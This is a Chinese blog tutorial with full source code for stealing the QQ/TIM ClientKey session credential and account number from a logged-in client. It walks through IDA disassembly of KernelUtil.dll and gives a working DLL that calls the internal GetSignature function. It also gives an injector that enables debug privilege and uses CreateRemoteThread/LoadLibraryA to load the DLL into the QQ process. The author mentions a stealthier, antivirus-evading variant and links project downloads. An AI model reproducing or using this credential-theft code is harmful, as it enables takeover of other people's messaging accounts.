通过 KernelUtil.dll 劫持 QQ / TIM 客户端 QQClientkey / QQKey 详细教程(附源码)
前言
由于 QQ 9.7.20 版本后已经不能通过模拟网页快捷登录来截取 QQClientkey / QQKey,估计是针对访问的程序做了限制,然而经过多方面测试,诸多的地区、环境、机器也针对这种获取方法做了相应的措施,导致模拟网页快捷登录来截取数据被彻底的和谐,为了解决这个问题我们只能更改思路对 KernelUtil.dll 下手。
Step 1 (第一步)
KernelUtil.dll QQ 9.7.21 (29280) 即官网最新版本
此文件位于 *:\Program Files (x86)\Tencent\QQ\Bin\ 下
并于客户端成功登录后加载。
Step 2 (第二步)
IDA 附加
定位到 KernelUtil.dll 中的函数
“?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z”
CTXStringW *__cdecl Util::Misc::GetSignature(CTXStringW *a1, int a2)
{
int v2; // eax
int v4; // [esp-14h] [ebp-14h]
int v5; // [esp-10h] [ebp-10h]
int v6; // [esp-Ch] [ebp-Ch]
int v7; // [esp-8h] [ebp-8h]
CTXStringW::CTXStringW(a1);
v5 = 0;
sub_55404A73(&v5);
if ( v5 )
{
v6 = 0;
if ( (*(int (__stdcall **)(int, int, int *))(*(_DWORD *)v5 + 60))(v5, a2, &v6) >= 0 )
{
v7 = 0;
sub_5536126A(&v7, v6);
v2 = Util::Encode::Encode16(&v4, &v7);
CTXStringW::operator=(a1, v2);
CTXStringW::~CTXStringW((CTXStringW *)&v4);
if ( v7 )
(*(void (__stdcall **)(int))(*(_DWORD *)v7 + 8))(v7);
}
sub_5540C87C(&v6);
}
sub_5540C87C(&v5);
return a1;
}
参数 1 为 缓存区 返回结果指针。
参数 2 为 传入参数的指针。
.text:55416CFC ; class CTXStringW __cdecl Util::Misc::Get32ByteValueAddedSign(void)
.text:55416CFC public ?Get32ByteValueAddedSign@Misc@Util@@YA?AVCTXStringW@@XZ
.text:55416CFC ?Get32ByteValueAddedSign@Misc@Util@@YA?AVCTXStringW@@XZ proc near
.text:55416CFC ; CODE XREF: Util::URL::AdjustUrl(CTXStringW const &,Util::URL::URLMODIFYLEVEL,CTXStringW const &,wchar_t const *)+A8↓p
.text:55416CFC ; Util::URL::GetKeyFmt(CFmtString &)+21↓p ...
.text:55416CFC push ebp
.text:55416CFD mov ebp, esp
.text:55416CFF push offset aBuf32bytevalue ; "buf32ByteValueAddedSignature"
.text:55416D04 push dword ptr [ebp+8]
.text:55416D07 call ?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z ; Util::Misc::GetSignature(char const *)
.text:55416D0C mov eax, [ebp+8]
.text:55416D0F pop ecx
.text:55416D10 pop ecx
.text:55416D11 pop ebp
.text:55416D12 retn
.text:55416D12 ?Get32ByteValueAddedSign@Misc@Util@@YA?AVCTXStringW@@XZ endp
CTXStringW *__cdecl Util::Misc::Get32ByteValueAddedSign(CTXStringW *a1)
{
Util::Misc::GetSignature(a1, (int)"buf32ByteValueAddedSignature");
return a1;
}
Get32ByteValueAddedSign 获取当前登录客户端 Clientkey。
int __fastcall Util::Contact::GetSelfUin(int a1)
{
int result; // eax
int v2; // esi
int v3; // [esp-8h] [ebp-8h]
v3 = a1;
result = dword_554F12AC;
if ( !dword_554F12AC )
{
v3 &= dword_554F12AC;
sub_55404A73(&v3);
if ( v3 )
(*(void (__stdcall **)(int, int *))(*(_DWORD *)v3 + 48))(v3, &dword_554F12AC);
v2 = dword_554F12AC;
sub_5540C87C(&v3);
result = v2;
}
return result;
}
GetSelfUin 获取当前登录客户端 Uin。
.text:55405EA9 public ?GetSelfUin@Contact@Util@@YAKXZ
.text:55405EA9 ?GetSelfUin@Contact@Util@@YAKXZ proc near
.text:55405EA9 ; CODE XREF: .text:5535A2FE↑p
.text:55405EA9 ; .text:5535A921↑p ...
.text:55405EA9 push ebp
.text:55405EAA mov ebp, esp
.text:55405EAC push ecx
.text:55405EAD mov eax, dword_554F12AC
.text:55405EB2 test eax, eax
.text:55405EB4 jnz short loc_55405EE7
.text:55405EB6 and [ebp-4], eax
.text:55405EB9 lea eax, [ebp-4]
.text:55405EBC push eax
.text:55405EBD call sub_55404A73
.text:55405EC2 mov eax, [ebp-4]
.text:55405EC5 pop ecx
.text:55405EC6 test eax, eax
.text:55405EC8 jz short loc_55405ED5
.text:55405ECA mov ecx, [eax]
.text:55405ECC push offset dword_554F12AC
.text:55405ED1 push eax
.text:55405ED2 call dword ptr [ecx+30h]
.text:55405ED5
.text:55405ED5 loc_55405ED5: ; CODE XREF: Util::Contact::GetSelfUin(void)+1F↑j
.text:55405ED5 push esi
.text:55405ED6 mov esi, dword_554F12AC
.text:55405EDC lea ecx, [ebp-4]
.text:55405EDF call sub_5540C87C
.text:55405EE4 mov eax, esi
.text:55405EE6 pop esi
.text:55405EE7
.text:55405EE7 loc_55405EE7: ; CODE XREF: Util::Contact::GetSelfUin(void)+B↑j
.text:55405EE7 mov esp, ebp
.text:55405EE9 pop ebp
.text:55405EEA retn
.text:55405EEA ?GetSelfUin@Contact@Util@@YAKXZ endp
Step 3 (第三步)
我们了解过程后便可以通过加载 GetModuleHandle("KernelUtil.dll") 调用相应函数自动截取。
ULONG fnGetSelfUin = (ULONG)GetProcAddress(GetModuleHandleA("KernelUtil"), "?GetSelfUin@Contact@Util@@YAKXZ");
if (fnGetSelfUin == NULL)
{
OutputDebugStringA("Get GetSelfUin Function failed \n");
return FALSE;
}
// 获取 UIN
ULONG currentQQ = ((ULONG(__cdecl*)())fnGetSelfUin)();
if (currentQQ == NULL)
{
OutputDebugStringA("Invoke GetSelfUin Function failed \n");
return FALSE;
}
PVOID GetSignature = GetProcAddress(hKernelUtil, "?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z");
if (GetSignature == NULL)
{
OutputDebugStringA("Get GetSignature Function failed \n");
return FALSE;
}
// 获取 Clientkey
PVOID res = ((PVOID(*)(PVOID, const char*))GetSignature)(&ClientKey, "buf32ByteValueAddedSignature");
if (res == NULL)
{
OutputDebugStringA("Invoke GetSignature Function failed \n");
return FALSE;
}
实现代码
DLL
点击查看代码
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
using namespace std;
char szUin[MAX_PATH] = { 0 };
char szClientkey[MAX_PATH] = { 0 };
BOOL DelTempFiles();
BOOL GetQQClientKeys();
static DWORD WINAPI MainProcess(LPVOID pParam);
// 清理缓存
BOOL DelTempFiles()
{
// 清理 DNS 缓存
ShellExecute(NULL, "open", "ipconfig.exe", "/flushdns", NULL, SW_HIDE);
BOOL bResult = FALSE;
BOOL bDone = FALSE;
LPINTERNET_CACHE_ENTRY_INFO lpCacheEntry = NULL;
DWORD dwTrySize, dwEntrySize = 4096; // start buffer size
HANDLE hCacheDir = NULL;
DWORD dwError = ERROR_INSUFFICIENT_BUFFER;
do
{
switch (dwError)
{
// need a bigger buffer
case ERROR_INSUFFICIENT_BUFFER:
delete[] lpCacheEntry;
lpCacheEntry = (LPINTERNET_CACHE_ENTRY_INFO) new char[dwEntrySize];
lpCacheEntry->dwStructSize = dwEntrySize;
dwTrySize = dwEntrySize;
BOOL bSuccess;
if (hCacheDir == NULL)
bSuccess = (hCacheDir
= FindFirstUrlCacheEntry(NULL, lpCacheEntry,
&dwTrySize)) != NULL;
else
bSuccess = FindNextUrlCacheEntry(hCacheDir, lpCacheEntry, &dwTrySize);
if (bSuccess)
dwError = ERROR_SUCCESS;
else
{
dwError = GetLastError();
dwEntrySize = dwTrySize; // use new size returned
}
break;
// we are done
case ERROR_NO_MORE_ITEMS:
bDone = TRUE;
bResult = TRUE;
break;
// we have got an entry
case ERROR_SUCCESS:
// don't delete cookie entry
if (!(lpCacheEntry->CacheEntryType & COOKIE_CACHE_ENTRY))
DeleteUrlCacheEntry(lpCacheEntry->lpszSourceUrlName);
// get ready for next entry
dwTrySize = dwEntrySize;
if (FindNextUrlCacheEntry(hCacheDir, lpCacheEntry, &dwTrySize))
dwError = ERROR_SUCCESS;
else
{
dwError = GetLastError();
dwEntrySize = dwTrySize; // use new size returned
}
break;
// unknown error
default:
bDone = TRUE;
break;
}
if (bDone)
{
delete[]lpCacheEntry;
if (hCacheDir)
FindCloseUrlCache(hCacheDir);
}
} while (!bDone);
return TRUE;
}
BOOL GetQQClientKeys()
{
// 清理缓存与DNS
DelTempFiles();
ZeroMemory(szUin, MAX_PATH);
ZeroMemory(szClientkey, MAX_PATH);
HMODULE hKernelUtil = GetModuleHandle("KernelUtil.dll");
if (hKernelUtil == NULL)
{
OutputDebugStringA("Get KernelUtil Module failed \n");
return FALSE;
}
ULONG fnGetSelfUin = (ULONG)GetProcAddress(GetModuleHandleA("KernelUtil"), "?GetSelfUin@Contact@Util@@YAKXZ");
if (fnGetSelfUin == NULL)
{
OutputDebugStringA("Get GetSelfUin Function failed \n");
return FALSE;
}
ULONG currentQQ = ((ULONG(__cdecl*)())fnGetSelfUin)();
if (currentQQ == NULL)
{
OutputDebugStringA("Invoke GetSelfUin Function failed \n");
return FALSE;
}
sprintf(szUin, "%u", currentQQ);
PVOID GetSignature = GetProcAddress(hKernelUtil, "?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z");
if (GetSignature == NULL)
{
OutputDebugStringA("Get GetSignature Function failed \n");
return FALSE;
}
PVOID res = ((PVOID(*)(PVOID, const char*))GetSignature)(&ClientKey, "buf32ByteValueAddedSignature");
if (res == NULL)
{
OutputDebugStringA("Invoke GetSignature Function failed \n");
return FALSE;
}
sprintf(szClientkey, "%ws", ClientKey);
return TRUE;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
HANDLE hThread1;
hThread1 = CreateThread(NULL, 0, MainProcess, NULL, 0, NULL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
// 主线程模块
static DWORD WINAPI MainProcess(LPVOID pParam)
{
if (GetQQClientKeys())
{
MessageBox(NULL, "获取数据成功。", "注意", NULL);
}
return 0;
}
主程序
点击查看代码
// Main.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
BOOL AdjustPrivileges();
BOOL injectDLL(TCHAR* DLLName, DWORD ProcessID);
// 唯一的应用程序对象
CWinApp theApp;
using namespace std;
BOOL AdjustPrivileges()
{
HANDLE hToken = NULL;
TOKEN_PRIVILEGES tp = { 0 };
TOKEN_PRIVILEGES oldtp = { 0 };
DWORD dwSize = sizeof(TOKEN_PRIVILEGES);
LUID luid = { 0 };
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
CloseHandle(hToken);
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
/* Adjust Token Privileges */
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), &oldtp, &dwSize)) {
CloseHandle(hToken);
return FALSE;
}
// close handles
CloseHandle(hToken);
return TRUE;
}
BOOL injectDLL(TCHAR* DLLName, DWORD ProcessID)
{
if (AdjustPrivileges())
{
HANDLE hOprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);
if (hOprocess != NULL)
{
_TCHAR* pLibFileRemote = (_TCHAR*)VirtualAllocEx(hOprocess, NULL, 2 * strlen(DLLName) + 1, MEM_COMMIT, PAGE_READWRITE);
if (pLibFileRemote != NULL)
{
if (!WriteProcessMemory(hOprocess, (void*)pLibFileRemote, DLLName, 2 * strlen(DLLName) + 1, NULL))
return FALSE;
//Get LoadLibraryW Address
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")), "LoadLibraryA");
if (pfnStartAddr != NULL)
{
HANDLE hRemote = CreateRemoteThread(hOprocess, NULL, 0, pfnStartAddr, (PVOID)pLibFileRemote, 0, NULL);
if (hRemote != NULL)
{
CloseHandle(hRemote);
CloseHandle(hOprocess);
return TRUE;
}
}
}
}
CloseHandle(hOprocess);
}
return FALSE;
}
int main()
{
if (!injectDLL(“D:\\QQKey.dll”, 8888))
{
cout << "injectDLL To Target EXE Failed。\r\n" << endl;
}
system("pause");
return 0;
}
效果演示
结语
利用此种方法可以很方便的截取到 Uin 跟 Clientkey。
但是缺点也是相形见绌的,如下图:
:(
要出现这个画面提示就不是很友好了,并且大部分安全软件都会提示并拦截,其中包括 windows 10 / windows 11 下的 Microsoft Defender 也是如此,那么该方法就显得一无是处。
还有另一种方法是通过读取 QQ 客户端数据来截取其中的 Uin 与 Clientkey,并且不会出现任何提示、报警或拦截的情况。但在这里就不详细说明,怕又被和谐,有兴趣的可以私信我。
完整项目下载
【蓝奏云下载】 (提取码:eh9v)
【百度云下载】 (提取码:wqau)
官方网站
通过 KernelUtil.dll 劫持 QQ / TIM 客户端 QQClientkey / QQKey 详细教程(附源码)的更多相关文章
- 循序渐进做项目系列(4)迷你QQ篇(2)——视频聊天!(附源码)
一·效果展示 源码派送:MiniQQ1.1 文字聊天的实现参见:循序渐进做项目系列(3):迷你QQ篇(1)——实现客户端互相聊天 二·服务端设计 对于实现视频聊天而言,服务端最核心的工作就是要构造多媒 ...
- 聊天系统Demo,增加Silverlight客户端(附源码)-- ESFramework 4.0 快速上手(09)
在ESFramework 4.0 快速上手 -- 入门Demo,一个简单的IM系统(附源码)一文中,我们介绍了使用ESFramework的Rapid引擎开发的winform聊天程序,本文我们将在之前d ...
- 分享一个完美的新闻客户端(酷商城)Android源码
分享一个完美的新闻客户端(酷商城)Android源码,这个源码项目是从安卓教程网转载过来的,项目主要是解析html,fragment,异步缓存图片加载,webview加载网页等.可以正常的运行的,我已 ...
- android手机卫士、3D指南针、动画精选、仿bilibli客户端、身份证银行卡识别等源码
Android精选源码 android身份证.银行卡号扫描源码 android仿bilibili客户端 android一款3D 指南针 源码 android手机卫士app源码 android提醒应用, ...
- Socket实现仿QQ聊天(可部署于广域网)附源码(4)-加入数据库系统搭建完成
1.前言 这是本系列的第四篇文章,上一篇我们讲到实现了客户端对客户端的抖屏与收发各种类型文件,本篇文章我们加入SQLServer数据库实现登录与好友的添加等功能,并对界面做了美化处理.向往常一样我会把 ...
- 可在广域网部署运行的QQ高仿版 -- GG叽叽V1.8(源码)
距离的GG 1.0发布已经三周了,这三周内,我利用业余时间为GG增加了视频聊天的功能.个人觉得进展有些缓慢,主要是因为大多数时间都花在了UI上.由于本人不会PS,所以图片素材都是从网上一个一个搜下来的 ...
- Socket实现仿QQ聊天(可部署于广域网)附源码(1)-简介
1.前言 本次实现的这个聊天工具是我去年c#程序设计课程所写的Socket仿QQ聊天,由于当时候没有自己的服务器,只能在机房局域网内进行测试,最近在腾讯云上买了一台云主机(本人学生党,腾讯云有个学生专 ...
- GitHub超详细图文攻略 - Git客户端下载安装 GitHub提交修改源码工作流程 Git分支 标签 过滤 Git版本工作流
最近听同事说他都在使用GitHub,GitHub是程序员的社区,在里面可以学到很多书上学不到的东西,所以最近在准备入手这方面的知识去尝试学习,正好碰到这么详细完整的文章,就转载了,希望对自己和大家有帮 ...
- 【代码管理】GitHub超详细图文攻略 - Git客户端下载安装 GitHub提交修改源码工作流程 Git分支 标签 过滤 Git版本工作流
GitHub操作总结 : 总结看不明白就看下面的详细讲解. . 作者 :万境绝尘 转载请注明出处 : http://blog.csdn.net/shulianghan/article/details ...
- IM即时通讯设计 高并发聊天服务:服务器 + qt客户端(附源码)
来源:微信公众号「编程学习基地」 目录 IM即时通信程序设计 IM即时通讯 设计一款高并发聊天服务需要注意什么 如何设计可靠的消息处理服务 什么是粘包 什么是半包 解决粘包和半包 IM通信协议 应用层 ...
随机推荐
- 洛谷P2433 小学数学 N 合一
写完了这道题结果脑子断电把浏览器关了......打开一看 没保存 寄 传送门:[深基1-2]小学数学 N 合一 - 洛谷 第一题 第二题 第三题 这几道题没啥好说的,直接输出就彳亍了 cout < ...
- C++ bitset 用法和应用
C++的 bitset 在 bitset 头文件中,它是一种类似数组的结构,它的每一个元素只能是0或1,每个元素仅用1bit空间. 下面是具体用法 构造函数 bitset常用构造函数有四种,如下 bi ...
- PostgreSQL学习笔记-2.基础知识:INSERT、SELECT、运算符、表达式、约束
PostgreSQL INSERT INTO 语句用于向表中插入新记录,兼容SQL通用语法. 语法 INSERT INTO 语句语法格式如下: INSERT INTO TABLE_NAME (colu ...
- java算法之排序算法大全
①排序 所谓排序,就是使一串记录,按照其中的某个或某些关键字的大小,递增或递减的排列起来的操作.排序算法,就是如何使得记录按照要求排列的方法.排序算法在很多领域得到相当地重视,尤其是在大量数据的处理方 ...
- Kubernetes集群管理面板的安装及使用
Kubernetes集群管理面板的安装及使用 1.前言 若海的腾讯云Lighthouse组建跨地域Kubernetes集群,让我成功体验到了Kubernetes集群诸多优点,但是非技术出生的我,长时间 ...
- 手撕Vue-编译指令数据
经过上一篇的分析,完成了查找指令和模板的功能,接下来就是编译指令的数据了. 所以本章节主要处理的方法则是 buildElement 方法,我们先分析一下我们所拿到的数据在进行编码,这样会更加清晰一些. ...
- 关于Halcon中variation_model模型的快速解读。
十一期间在家用期间研读了下Halcon的variation_model模型,基本上全系复现了他的所有技术要求和细节,这里做个记录. 其实这个模型的所有原理都不是很复杂的,而且Halcon中的帮助文档也 ...
- 一个基于Vue模型的表单生成器
哈喽,我是老鱼,一名致力于在技术道路上的终身学习者.实践者.分享者! Vuetify Form Base是一个基于模型的表单生成器,目的是提供一个工具,以便以较少的努力从任何模型数据生成可编辑的表单, ...
- Python自动化处理Excel数据
需求描述:数据格式如下所示,需要分离出2023年7月1号之后的数据明细 数据核对与处理:从Excel文件中提取特定日期后的签收数据 1. 引言 在实际数据处理和分析过程中,经常会遇到需要从大量数据中提 ...
- [Python急救站课程]天天向上的力量
我们要"好好学习,天天向上."那么天天向上的力量到底有多强呢? 1.一年365天,以第1天的能力值为基数,记为1.0,当好好学习时能力值相比前一天提高1‰,当没有学习时由于遗忘等原 ...